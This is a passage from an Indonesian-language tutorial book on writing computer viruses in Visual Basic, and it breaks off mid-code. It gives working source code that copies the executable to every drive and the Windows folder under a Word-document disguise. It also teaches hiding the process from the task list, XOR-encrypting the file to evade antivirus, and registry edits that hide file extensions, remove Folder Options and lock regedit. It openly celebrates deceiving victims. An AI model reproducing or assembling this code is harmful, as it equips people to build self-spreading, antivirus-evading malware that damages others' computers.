Membuat, Merangkai Senjata (Kode) Virus

Untuk membuat kode sebuah virus sebenarnya tidak


terlalu susah, apalagi yang sudah menguasai suatu bahasa
pemrograman. Tinggal download kode yang diinginkan dari
internet kemudian kita merangkainya. Kalau mau buat sendiri
kode-kodenya sangat bagus sekali. Kenapa? Karena jika kita hanya
merangkai dari kode-kode yang sudah ada, kemungkinan dideteksi
oleh antivirus sangat besar sekali, mungkin saja kode dari internet
sudah pernah dipakai oleh programmer lain untuk membuat virus.

39
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Jika kita membuat kode sendiri maka murni kode tersebut berasal
dari pikiran kita dan otomatis kode-kode yang keluar langsung dari
kepala kita belum pernah dipakai orang untuk membuat sebuah
virus. Di sub bab ini saya hanya menjelaskan kode-kode yang saya
buat sendiri dan yang saya download dari internet. Merangkai
sebuah virus bisa dianalogikan seperti kita ingin merangkai sebuah
bom, kita tidak perlu membuat TNT atau C4-nya bukan, tapi cukup
membeli bahan-bahannya dari toko bahan kimia kemudian
merangkainya, sehingga menjadi sebuah bom yang dahsyat. Sama
seperti virus, kita cukup mendownload kodenya dari internet
kemudian kita rangkai satu persatu kode tersebut untuk menjadi
sebuah virus yang dahsyat….got it ☺!

Kode Penggandaan

Kode Penggandaan berguna untuk menggandakan atau


menyebarkan file virus. Kode ini dapat menyebarkan file virus
lewat floppy disk, flash disk maupun dari hardisk satu ke hardisk
lainnya. Kode ini wajib dimiliki oleh program virus. Langkah
pembuatannya dijelaskan sbb:

1. Buat project baru


2. Buat form baru
3. Tambahkan di form tersebut button untuk mengeksekusi
kode. Jika malas anda dapat melihat source code
penggandaaan pada CD di direktory \kode penggandaan
dengan nama file untukcopyfile.vbp

40
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

4. Klik 2 kali button untuk menulis source code di bawah ini:

Private Declare Function GetDriveType Lib "kernel32" _

Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

Private Declare Function GetWindowsDirectory _


Lib "kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer As
String, ByVal nSize As Long) As Long

Private Function DriveType(Drive As String) As String


''////fungsi mengecek drive

Dim sAns As String, lAns As Long

'fix bad parameter values


If Len(Drive) = 1 Then Drive = Drive & ":\"

If Len(Drive) = 2 And Right$(Drive, 1) = ":" _

Then Drive = Drive & "\"

lAns = GetDriveType(Drive)

Select Case lAns

Case 2
sAns = "Removable Drive"

Case 3

sAns = "Fixed Drive"


Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else 41
Pemrograman Visual Basic
sAns = "Drive Doesn't Exist"
End Select

DriveType = sAns
End Function
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub kodepengganda()


''///mengecek drive dan mengcopy file penanda
Dim ictr As Integer
Dim sDrive As String
Dim x As Byte
ReDim sDrives(0) As String
For ictr = 65 To 90
sDrive = Chr(ictr) & ":\"

If DriveType(sDrive) <> "Drive Doesn't Exist" Then


On Error Resume Next
FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive &
"tes.exe"
End If
Next
End Sub

Private Sub kopikewindows()


''////mengkopi file virus atau penanda ke directory windows
Dim buffer As String * 255
Dim x As Long

x = GetWindowsDirectory(buffer, 255)
On Error Resume Next
42
Pemrograman
FileCopy Visual Basic
App.Path & "\" & App.EXEName & ".exe", Left(buffer, x) & _
"\tes_di_direktory_windows.exe"
End Sub

Private Sub Command5_Click()


kopikewindows
Seni Pemrograman Virus Menggunakan Visual Basic

5. Compile source code dengan cara klik File-> Pilih Make


untukcopyfile.exe. Kemudian keluar dari VB jalankan file
tersebut.
6. Maka akan muncul kotak aplikasi seperti pada gambar
berikut :

43
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

7. Klik tombol ‘Jalankan Kode Pengganda’,


eit…eit…sebentar. Kalau anda punya flashdisk, pastikan
flashdisk anda terpasang di komputer, atau punya floppy
disk pastikan juga disketnya ada di dalam floppy drive.
Agar pembuktian penyebaran virus ini terlihat. File virus
akan dicopy ke :
i. C:\windows atau ke direktori dimana
windows diinstall
ii. Flashdisk
iii. Drive Lain (D:, E:, F: )
Sebelumnya sekali lagi saya sarankan untuk melihat ke
direktori tersebut, apakah ada file dengan nama tes.exe atau
tes_di_direktory_windows.exe dengan icon MS Word. Coba
lihat …Na…tidak ada kan…ok sekarang baru boleh Klik
tombol ‘Jalankan Kode Pengganda’, kalau sudah terlanjur
dijalankan tidak apa-apa, tolong klik lagi. Dan tunggu sebentar.
Apa yang terjadi?? Jika muncul kotak dialog seperti gambar di
bawah ini, berarti kode berhasil dijalankan.

44
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Coba lihat ke tiga lokasi yang tadi disebutkan, yaitu flashdisk,


c:\windows\ atau dimana direktori windows terinstall dan drive
lain, apakah ada file tes.exe atau tes_di_direktory_windows.exe
dengan icon MS Word? Ada kan filenya. Kalau tidak ada ulangi
langkah di atas sampai benar.

Penjelasan Kode:

Sekarang kita akan membahas kode tersebut satu persatu:

Private Declare Function GetDriveType Lib "kernel32"


Alias "GetDriveTypeA" (ByVal nDrive As String) As Long

- Mendeklarasikan Fungsi API GetDriveType yang berguna


untuk mengambil informasi drive termasuk jenis apa.

45
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Declare Function GetWindowsDirectory Lib


"kernel32" Alias "GetWindowsDirectoryA" (ByVal lpBuffer
As String, ByVal nSize As Long) As Long

- Mendeklarasikan Fungsi API GetWindowsDirectory yang


berguna untuk mengambil informasi Sistem Operasi
Windows terletak di direktori mana.

Private Function DriveType(Drive As String) As String

- Mendeklarasikan fungsi DriveType dengan tipe data


variabel string
Dim sAns As String, lAns As Long

- Mendeklarasikan variabel sAns dengan tipe data string dan


variabel lAns dengan tipe data Long Integer

If Len(Drive) = 1 Then Drive = Drive & ":\"

- Mengecek jika panjang drive (variabel dari Fungsi


DriveType) adalah 1 maka variabel drive akan bernilai drive
ditambah karakter “:\” (tanpa tanda kutip).
Maksudnya???kadang dalam windows drive terdeteksi
dengan karakter “c” (tanpa tanda kutip) atau “c:”. Untuk
mengatasi hal tersebut maka diberi handle error seperti
kode di atas. Misalnya drive terdeteksi sebagai karakter “c”,
maka karakter “c” akan ditambahkan karakter “:\” sehingga
akan menjadi “c:\”

If Len(Drive) = 2 And Right$(Drive, 1) = ":" Then Drive


= Drive & "\"

- Mengecek jika panjang drive (variabel dari Fungsi


DriveType) adalah 2 dan karakter drive diambil dari kanan
adalah “:” maka variabel drive akan bernilai drive ditambah

46
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

karakter “\”. Misalnya drive terdeteksi sebagai karakter “c:”,


maka karakter “c:” akan ditambah karakter “\” sehingga
menjadi ”c:\”.

lAns = GetDriveType(Drive)

- Mendeklarasikan variabel lAns berisi tipe drive dari variabel


“Drive”. Kode ini berfungsi untuk mengetahui tipe drive
tersebut adalah cd-rom, floppy, atau hardisk. Misalnya
anggap saja variabel Drive adalah “c:\”, maka komputer
akan mencari tau tipe drive “c:\” itu termasuk cd-rom, floppy
atau hardisk.

Select Case lAns


Case 2
sAns = "Removable Drive"
Case 3
sAns = "Fixed Drive"
Case 4
sAns = "Remote Drive"
Case 5
sAns = "CD-ROM"
Case 6
sAns = "RAM Disk"
Case Else
sAns = "Drive Doesn't Exist"
End Select

47
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

DriveType = sAns

- Keterangan dari drive yang ada di CPU atau komputer


apakah termasuk tipe Removable Drive (Floppy, Flash
Disk, dll), Fixed Drive (Hardsik), Remote Drive (Drive yang
di-mapping), CD-ROM, RAM Disk (Zip Drive), atau Drive
Doesn’t Exist (Drive tidak ada).

DriveType = sAns

- Mendeklarasikan variabel DriveType dari variabel sAns


yang didapat.

End Function

- Akhir Dari Fungsi.

Private Sub kodepengganda()

- Deklarasi fungsi kodepengganda

Dim ictr As Integer

- Deklarasi variabel ictr dengan tipe Integer.

Dim sDrive As String

- Deklarasi variabel sDrive dengan tipe String.

Dim x As Byte

48
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Deklarasi variabel x dengan tipe Byte.

ReDim sDrives(0) As String

- Deklarasi variabel sDrives dengan tipe String dan jenisnya


array, karena ada “(0)” setelah sDrives.

For ictr = 65 To 90

- Untuk variabel ictr yang bernilai 65 sampai 90, kerjakan


perintah dibawahnya, angka 65 dan 90 merupakan ascii
dari huruf “a” dan “z”, bisa dianggap nilai ictr adalah karakter
“a” sampai karakter “z”, berguna untuk mencari drive,
karena dalam windows drive dilambangkan dengan abjad.

sDrive = Chr(ictr) & ":\"

- Memberi nilai variabel sDrive dengan Chr(ictr) dan


karakter “:\”, misalnya ictr bernilai 65 maka ictr akan
dikonversi ke string “a” sesuai dengan nilainya dan
digabungkan dengan karakter “:\” sehingga menjadi “a:\” .

If DriveType(sDrive) <> "Drive Doesn't Exist" Then

- Jika Tipe drive bernilai tidak sama dengan “Driver Doesn’t


Exist” maka kerjakan perintah di bawahnya. Driver Doesn’t
Exist maksudnya drive tidak dikenali.

On Error Resume Next

49
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

- Tetap menjalankan perintah sesudah kode dibawahnya


walaupun perintah tersebut salah (kalau anda belum
mencobanya pasti tidak akan pernah tau ☺ ).

FileCopy App.Path & "\" & App.EXEName & ".exe", sDrive &
"tes.exe"

- Meng-copy atau menyebarkan file virus ke drive tujuan,


entah drive tersebut adalah floppy, flashdisk ataupun
hardisk.

End If

- Mengakhiri perintah if.

Next

- Kembali ke perintah for sampai nilai variabel ictr


samadengan 90 .

End Sub

- Akhir dari sub program.

Private Sub kopikewindows()

- Sub program dengan nama kopikewindows dengan type


private

50
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dim buffer As String * 255

- deklarasi variabel buffer dengan type data string yang diisi dengan
nilai 255

Dim x As Long

- deklarasi variabel x dengan type long

x = GetWindowsDirectory(buffer, 255)

- memberi nilai variabel x dengan nilai hasil dari operasi


fungsi GetWindowsDirectory

On Error Resume Next

- perintah unuk melanjutkan operasi jika terjadi kesalahan

FileCopy App.Path & "\" & App.EXEName & ".exe",


Left(buffer, x) & _
"\tes_di_direktory_windows.exe"

- Meng-copy program virus ke direktori dimana windows


diinstall

End Sub

- Akhir dari sub program kopikewindows

51
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Private Sub Command5_Click()

- Deklarasi button command5, event akan jalan jika tombol /


button diklik

kopikewindows

- memanggil sub program kopikewindows

kodepengganda

- memanggil sub program kodepengganda

MsgBox "Kode Berhasil Dijalankan", 0, "Berhasil"

- memunculkan kotak pesan “Kode Berhasil Dijalankan”

End Sub

- akhir dari sub program command5_Click

Kode Pertahanan

Kode pertahanan dibuat untuk menghindari pendeteksian


virus dari antivirus atau user komputer itu sendiri. Ada banyak
metode untuk menghindari pendeteksian program antivirus, entah
itu dengan melakukan enkripsi file virus, me-nonaktifkan antivirus,
atau menyembunyikan proses agar tidak diketahui oleh user.

52
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Menyembunyikan Proses

Cara pertama untuk bertahan seperti dalam milliter yaitu bergerilya


atau bersembunyi, kemudian setelah ada kesempatan baru
melakukan penyerangan. Di dalam dunia virus juga begitu, agar
tidak terdeteksi oleh Anti Virus, maka aplikasi virus harus
melakukan gerilya (baca sembunyi), yaitu dengan cara
menyembunyikan prosesnya. Caranya?

1. Buat Project Baru, berupa satu form dan dua button, ubah
caption button1 menjadi ‘Sembunyi’ dan button2
‘Muncul’.
2. Kemudian Ketik source code di bawah ini, anda bisa lihat
source code-nya di CD pada direktori \kode pertahanan\
dengan nama file kodebertahan.vbp :

Private Sub Command1_Click()


App.TaskVisible = False
End Sub

Private Sub Command2_Click()


App.TaskVisible = True
End Sub

53
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

3. Setelah mengetik source code di atas, coba jalankan,


kemudian tekan ctrl+alt+del. Untuk memunculkan tasklist
windows.
4. Jalankan Program virus dengan menekan tombol ‘F5’ atau
klik run pada VB, maka akan muncul aplikasi virus sebagai
berikut :

5. Lihat pada tasklist atau gambar di bawah ini, proses


aplikasi masih muncul di tasklist.

54
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Proses
masih
terlihat

Gambar 1 Tasklist pada Windows, Proses masih


terlihat

55
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

6. Kemudian coba tekan tombol ‘Sembunyi’ pada aplikasi


yang kita buat. Apa yang terjadi? Lihat kembali di tasklist.
Ya proses akan hilang atau tidak terlihat di tasklist.
Sebenarnya proses ini tetap berjalan, tetapi tidak terdeteksi
di tasklist. Jika kita tekan ‘Muncul’. Maka proses akan
muncul kembali di tasklist.

56
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Gambar 2 Tasklist pada Windows, Proses tidak terlihat

57
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Penjelasan Kode:

Kode penyembunyian proses akan dijelaskan sebagai berikut:

Private Sub Command1_Click()


- Awal dari sub program

App.TaskVisible = False
- Fungsi untuk menyembunyikan proses

End Sub
- Akhir dari sub program

Private Sub Command2_Click()


- Awal dari sub program

App.TaskVisible = True
- Fungsi untuk memunculkan proses

End Sub
- Akhir dari sub program

58
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Mengenkripsi File

Mengenkripsi file virus adalah cara kedua, hal ini berguna


untuk menghindari deteksi antivirus. Kok bisa terhindar? Iya yang
namanya enkripsi adalah mengacak suatu kode menjadi kode lain
sehingga tidak dapat diketahui kode aslinya. Metode enkripsi
sebenarnya banyak, tetapi di sini saya akan menjelaskan tentang
enkripsi yang sederhana agar mudah dipahami, terutama enkripsi
file.
Enkripsi sebenarnya sudah ada dari zaman perang
Romawi. Hanya beda dari sisi teknologinya, kalau sekarang sudah
ada komputer maka enkripsi dilakukan dengan komputer. Kalau
dulu memakai batang pohon yang besarnya kira-kira sama seperti
batang sapu yang biasa digunakan untuk membersihkan dapur.
Gambaran dari pengenkripsisan memakai batang sapu dapat
digambarkan sbb :

1. Batang sapu ditulisi dengan kode yang sebelumnya telah di


acak sehingga tidak dapat terbaca oleh mata

A W D * A L A X P > A ? S Z I G H F !

59
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2. Kemudian disiapkan sebuah kain yang dilengkapi tanda x


berwarna putih untuk pendekrip atau pengacak kodenya
agar dapat dibaca. Kain tersebut dililitkan ke batang sapu,
sehingga kode yang teracak akan terbaca sebagai berikut.

A W D * A Lx A X P > A ? S Z I G H F !
x

Nah kalau seperti ini jadi terbaca kan, tiap tanda ‘x’ berwarna
putih berfungsi sebagai pemisah kata, sehingga akan terlihat
kata..’ADA APA SIH !’. Kalau zaman sekarang untuk
mengacak suatu kode tidak perlu memakai gagang sapu lagi,
tapi cukup menggunakan komputer. Caranya gimana mas. Ok,
akan saya terangkan tapi sebelumnya akan saya jelaskan proses
enkripsi yang ada di komputer.

Pada komputer, enkripsi atau pengacakan kode dilakukan


dengan menggeser bit pada karakter ASCII sebanyak x buah ke
kiri atau ke kanan, sehingga kata akan teracak dan tidak dapat
dibaca. Misalnya untuk sebuah enkripsi kita akan menggeser bit
ke kanan sebanyak satu karakter seperti pada gambar berikut
ini:

60
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Karakter asli A B C D dst..

Karakter Enkrip B C D E dst..

Sehingga kita akan mendapatkan kunci sebagai berikut :

A=B
B=C
C=D
D=E
dst..

Bila kita menulis sebuah kalimat ‘AKU SEMAPUT’,


maka proses enkripsi yang terjadi adalah

S=T
A=B
E=F
K= L
M=N
U=V
A=B
P=Q
U=V
T=U

61
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sehingga kata yang terbaca adalah ‘BLV TFNBQVU’, jelas


kan….???? Untuk implementasi ke program mari kita
olahragakan jari-jari kita lagi dengan mengetik source kode
Enkripsi File dengan langkah-langkah sebagai berikut:

1. Buat Project baru, dengan satu buah form dan dua buah
button, ubah caption button1 menjadi ‘enkrip’ dan button2
menjadi ‘dekrip’.
2. Buat class module baru dengan nama clsSimpleXOR
3. Kemudian ketik source code sesuai dengan tempatnya,
misalnya kalau source code untuk class module maka ketik
di class module, kalau untuk form maka ketik source code
di form. Anda dapat melihat source code-nya di CD pada
direktori \kode pertahanan\ dengan nama file
kodebertahan.vbp

62
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

‘---------Awal source code pada class Module--------------

Option Explicit
Private m_Key() As Byte

Private m_KeyLen As Long

Private m_KeyValue As String


Public Event progress(Percent As Long)

Public Sub DecryptByte(ByteArray() As Byte, _

Optional key As String)


Call EncryptByte(ByteArray(), key)

End Sub
Public Sub DecryptFile(SourceFile As String, _

DestFile As String, _

Optional key As String)

Dim Filenr As Long


Dim ByteArray() As Byte

If (Not FileExist(SourceFile)) Then

Exit Sub
End If

Filenr = FreeFile
Open SourceFile For Binary As #Filenr

ReDim ByteArray(0 To LOF(Filenr) - 1)


Get #Filenr, , ByteArray()

Close #Filenr
Call DecryptByte(ByteArray(), key)

If (FileExist(DestFile)) Then
63
Pemrograman Visual Basic
Kill DestFile

End If
Seni Pemrograman Virus Menggunakan Visual Basic

Filenr = FreeFile

Open DestFile For Binary As #Filenr


Put #Filenr, , ByteArray()

Close #Filenr

End SubPublic Sub EncryptByte(ByteArray() As Byte, _

Optional ByVal key As String)

Dim Offset As Long

Dim ByteLen As Long


Dim ResultLen As Long

Dim CurrPercent As Long

Dim NextPercent As Long

If (Len(key) > 0) Then

Me.key = key

End If
ByteLen = UBound(ByteArray) + 1

ResultLen = ByteLen

For Offset = 0 To (ByteLen - 1)


ByteArray(Offset) = ByteArray(Offset) Xor m_Key(Offset
Mod m_KeyLen)

If (Offset >= NextPercent) Then

CurrPercent = Int((Offset / ResultLen) * 100)


NextPercent = (ResultLen * ((CurrPercent + 1) / 100))
+ 1

RaiseEvent progress(CurrPercent)
End If

Next ' OFFSET

If (CurrPercent <> 100) Then

RaiseEvent progress(100)
64
Pemrograman Visual Basic
End If

End Sub

Public Sub EncryptFile(SourceFile As String, _


DestFile As String, _

Optional key As String)


Seni Pemrograman Virus Menggunakan Visual Basic

If (FileExist(DestFile)) Then
Kill DestFile

End If

Filenr = FreeFile
Open DestFile For Binary As #Filenr

Put #Filenr, , ByteArray()

Close #Filenr
End Sub
Public Property Let key(New_Value As String)

If (m_KeyValue = New_Value) Then


Exit Property

End If

m_KeyValue = New_Value

m_KeyLen = Len(New_Value)
m_Key() = StrConv(m_KeyValue, vbFromUnicode)

End Property
Public Function FileExist(strfilename As String) As Boolean

On Error Resume Next

FileExist = True

If FileLen(strfilename) = 0 Then
FileExist = False
End If

End Function

‘---------Akhir source code pada class Module------------------------

‘---------Awal source code pada form---------------------------------


65
Pemrograman Visual
Private Sub Basic
Command3_Click()

Dim sXor As New clsSimpleXOR

sXor.EncryptFile App.Path & "\" & App.EXEName & ".exe", App.Path


& "\" & App.EXEName & "enkrip.exe", "tes"
Set sXor = Nothing

End Sub
Seni Pemrograman Virus Menggunakan Visual Basic

Kemudian compile dengan memilih File->Make


project1.exe. Setelah muncul dialogbox, isi nama file yang
diinginkan dan klik OK. Jalankan aplikasi yang akan memunculkan
sebuah form dengan 2 tombol “enkrip” dan “dekrip”. Klik tombol
enkrip, maka akan muncul di direktori dimana aplikasi berada
sebuah aplikasi lain dengan nama_aplikasienkrip.exe. Nama
aplikasi disini adalah sembunyiform.exe, sehingga aplikasi yang
muncul adalah sembunyiformenkrip.exe. Kemudian teliti icon
aplikasi tersebut, berbeda bukan. Aplikasi satu mempunyai icon
visual basic dapat dijalankan dan aplikasi kedua mempunyai
icon DOS .

Gambar 1 Icon Aplikasi yang Terenkrip Berbeda

66
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Coba jalankan file yang dienkrip, bisa tidak? Jelas tidak


bisa, karena file telah diacak sehingga isinya berbeda. Jelas? Jika
belum jelas, akan saya jelaskan enkripsi yang program yang
sebenarnya berjalan. Konsepnya disini tidak memakai file
berekstensi .exe, tetapi ekstensi .txt agar lebih kelihatan
enkripsinya. Saya mempunyai file bacaan.txt yang berisi potongan
kode sebagai berikut:

Kriteria suami yang shaleh


Message: Kriteria suami yang shaleh adalah suami yang
selalu berusaha melaksanakan seluruh kewajiban
secara baik dan bertanggung jawab. Apabila Anda

Dan kewajiban ayah (suami) memberi makan
dan pakaian kepada para ibu (isteri) dengan cara
yang baik. (Q.S. Al-Baqarah: 233)

TempatkanlahFile bacaan.txt
mereka (para istri)yang belum terenkrip
di mana
kamu bertempat tinggal menurut kemampuanmu
dan
janganlah kamu menyusahkan mereka untuk
Kemudian
menyempitkan (hati)file bacaan.txt
mereka. saya enkripsi, sehingga
(Q.S. Ath-Thalaaq isi
filenya
65: kelihatan seperti ini :
6)

? S
S
E
Syo> NE8
E -E

T E
S
S
hy T
T

E T

hy T

ST
TZE2 T$~~S

67
Pemrograman
T Visual Basic

H-

I~~,T$T$S
Seni Pemrograman Virus Menggunakan Visual Basic

File bacaan.txt yang sudah terenkrip

Jelas file yang telah teracak ini tidak terbaca.


Perumpamaan ini sama seperti pengenkripsian file
sembunyiform.exe di atas. Jadi ketika aplikasi virus tidak
dienkripsi dapat dideteksi oleh Anti Virus, tetapi setelah teracak
maka Anti Virus tidak dapat mendeteksi aplikasi tersebut karena isi
dari file aplikasi tersebut terenkrip.

Memanipulasi Folder Options

Folder Options adalah bagian sub menu dari windows


explorer. Apa itu mas??? Hm…gimana yah begini saja klik start ->
Programs -> Accessories -> Windows Explorer. Setelah Windows
Explorer tampil klik Tools -> Folder Options

68
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Maka akan muncul Windows seperti di bawah ini :

69
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Menyembunyikan Ekstensi File

Pada Folder Options inilah seluruh tampilan di explorer


diatur, mulai dari ‘Show hidden files or folders’ (menampilkan
seluruh file dan folder yang tersembunyi) sampai ‘Hide extensions
for known file types’ ( menampilkan ekstensi file .exe, .doc, .xls
dan lain lain pada windows explorer). Jika kita ingin membuat
aplikasi virus, syarat yang paling utama adalah menipu.
Maksudnya?…Begini seperti virus riyani_jangkaru. Program virus
ini mempunyai icon .jpg atau icon gambar . Tetapi sebenarnya
file tersebut adalah file aplikasi atau file.exe yang berguna untuk
mengelabui para korbannya. Coba saja, misalnya ada user (berjenis
kelamin laki-laki he..he..he..) yang melihat file riyani_jangkaru
dengan icon jpg pasti akan tertarik untuk membukanya. Tanpa
berfikir padahal file tersebut adalah virus. Kok bisa?? Iya karena
file tersebut jika berada di windows explorer akan seperti ilustrasi
di bawah ini :

70
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Sekilas anda mengira file ini adalah file gambar bukan?


Tapi coba klik pada menu Tools -> Folder Options -> cari ‘Hide
for extension file types’. Hilangkan tanda centang yang ada pada
pilihan tersebut, kemudian klik apply dan OK. Lihat di windows
explorer, file gambarnya ternyata memiliki ekstensi .exe. Hih!
Maksud hati mau melihat gambar riyani_jangkaru, malah terserang
virus yang bikin komputer lambretta (baca: lambat) dan restart-
restart terus..

Kita sebagai virus maker, harus tahu kecerobohan user


seperti contoh di atas. Dengan mematikan pilihan ‘Hide extension
for known file types’ virus kita dapat berkembang biak dengan
leluasa. Uhihihihihi! (ketawa setan bertanduk limabelas). Untuk
memanipulasi Folder Options tersebut dapat dilakukan di Registry
Windows. Yaitu pada alamat registry:

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

71
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dengan value ‘HideFileExt’ berjenis dword. Value


tersebut harus bernilai 1 jika kita ingin menyembunyikan ekstensi
file.

Menyembunyikan File Beratribut Hidden

Demikian pula di atasnya ada value ‘Hidden’. Value


‘Hidden’ ini berguna untuk menyembunyikan file yang mempunyai
attribute Hide. Dalam program virus, fasilitas hidden digunakan
untuk menyembunyikan file utama. Misalnya pada virus
w32.Rontokbro@mm ada file eksplorasi.exe dan bronstab.exe yang
terletak di ‘c:\windows\’ dan ‘c:\windows\shellnew\’ yang berguna
untuk memicu file virus. File tersebut mempunyai atribut hide,
sehingga jika kita tidak memilih ‘Show all files and folders’ pada
Folder Option kedua file tersebut tidak akan kelihatan di windows
explorer. Untuk menyembunyikan file yang beratribut hide dapat
dilakukan di registry windows, yaitu pada alamat registry :

HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\

Dengan value ‘Hidden’ berjenis. Value tersebut harus


bernilai 0 jika kita ingin menyembunyikan file beratribut hide.
Mari kita mengadakan percobaan sedikit.

1. Buka windows explorer

72
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2. Pilih drive c:, cari file tes.exe dengan icon microsoft


word. Jika tidak ada, jalankan terlebih dahulu Kode
Pengganda yang ada di CD pada direktori \kode
penggandaan\ dengan nama file tes.exe.
3. Setelah itu klik kanan file tes.exe kemudian klik
properties, maka akan muncul kotak seperti pada
gambar berikut.

73
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

4. Beri tanda pada pilihan Hidden agar file mempunyai


atribut Hidden atau tidak terlihat. Kemudian apply dan

74
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

OK. Kemudian tekan tombol ‘F5’. Lho mana file


tes.exe nya? Hahahahaha…sabar sodara..bukan sulap
bukan sihir, ikuti saja langkah satu sampai terakhir.
5. Kemudian pilih kembali menu Tools -> Folder Options
-> View.
6. Pilih ‘Show hidden files and folder’ lalu klik apply dan
OK.
7. Tekan lagi ‘F5’. Nah keliatan kan file tes.exe nya.
Tetapi dengan icon transparan yang maksudnya file
tersebut mempunyai atribut hidden atau tersembunyi.

Menyembunyikan Menu Folder Options

Dalam kode pertahanan ini, kita harus dapat mengatur


fasilitas Folder Option dengan otomatis, jadi ketika virus aktif,
Folder Options harus ter-setting untuk menyembunyikan file yang
beratribut hidden dan menyembunyikan ekstensi file. Dan menu
Folder Option sendiri harus disembunyikan agar orang lain tidak
dapat mengutak-atik seenaknya. Kalau user bisa mengutak-atik
Folder Options ketawan dong file-file virus yang kita
sembunyikan. Udah capek-capek buat malah ketawan ma orang,
hiks hiks hiks (lho). Untuk mengamankannya cukup membuat key
pada registry windows dengan alamat :

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\

75
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dan value dari key tersebut adalah ‘NoFolderOptions’


berjenis dword dengan nilai 1. Caranya kak…caranya? Aduh
pertanyaan pembaca ini mengingatkan ‘adek’ saya yang selalu
menarik – narik baju saya dengan manja (ihik…ihik..). Tenang
saja pembuatan kode bertahan ini akan dibahas sekaligus pada sub
bab selanjutnya. Ok…jadi tunggu dengan sabar yah..

Mengunci Regedit

Untuk mengamankan virus, seharusnya kita juga


melakukan pertahanan terhadap registry di windows, karena segala
sistem dari pengaturan file virus agar tersembunyi dan pengaturan
agar file virus kita berjalan secara otomatis ada di registry
windows. Agar virus kita tetap bertahan dan berkembang biak
secara leluasa, KUNCILAH REGISTRY TOOLS. Sebenarnya
untuk mengedit registry windows banyak toolsnya contoh System
Mechanic, Norton Registry, HiJack, Tweak XP dan lain-lain.
Tetapi tidak semua user akan meng-install program registry tools
tersebut. Kita ambil secara normalnya atau registry tools yang
disediakan langsung oleh Microsoft Windows, yaitu regedit.
Alamat registry untuk mengunci regedit adalah :

HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\

76
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

Dan valuenya adalah ‘DisableRegistryTools’ berjenis


dword. Jika ingin mengunci registry nilai dari
‘DisableRegistryTools’ harus 1. Lah kalau tiba-tiba ada orang yang
pinter terus bisa membuka kunci regedit tersebut gimana mas?
Gampang pasang trap untuk restart saja, jadi jika program regedit
aktif suruh saja si komputer korban restart, dengan demikian
registry kembali dalam keadaan terkunci, betul kan..Nanti deh
khusus kode pertahan kita bahas di sub bab pengkodeannya.

Membuat kode pertahanan untuk Registry

Dari penjelasan pada sub bab sebelumnya dapat ditarik


kesimpulan, yaitu :

1. File virus harus mempunyai atribut hidden.


2. Folder Options dengan setting ‘Hide extension for
known file type’ dan ‘Do not show hidden files or
folders’ harus aktif.
3. Menu Folder Options harus disembunyikan.
4. Regedit pada windows harus dikunci.

Untuk lebih jelasnya mari kita buka Visual Basic kembali


dan ikuti langkah-langkah berikut :
1. Buat project dengan 1 form, 1 modul dan 7 tombol atau
button.

77
Pemrograman Visual Basic
Seni Pemrograman Virus Menggunakan Visual Basic

2. Copy source code dibawah ini, seperti biasa kalau


malas anda cukup membuka CD (maksudnya Compact
Disc) dan cari file ‘project1.vbp’ di direktori \kode
pertahanan\Folder Options\Regedit\.

‘////////////////////////AWAL SOURCE KODE FORM///////////////////////////////////////


Private Sub Command1_Click()
'////////menyembunyikan file yang mempunyai attribut hide//////////
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHO
WALL\CheckedValue", 1
CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHO
WALL\DefaultValue", 1

CreateIntegerKey
"HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\NOH
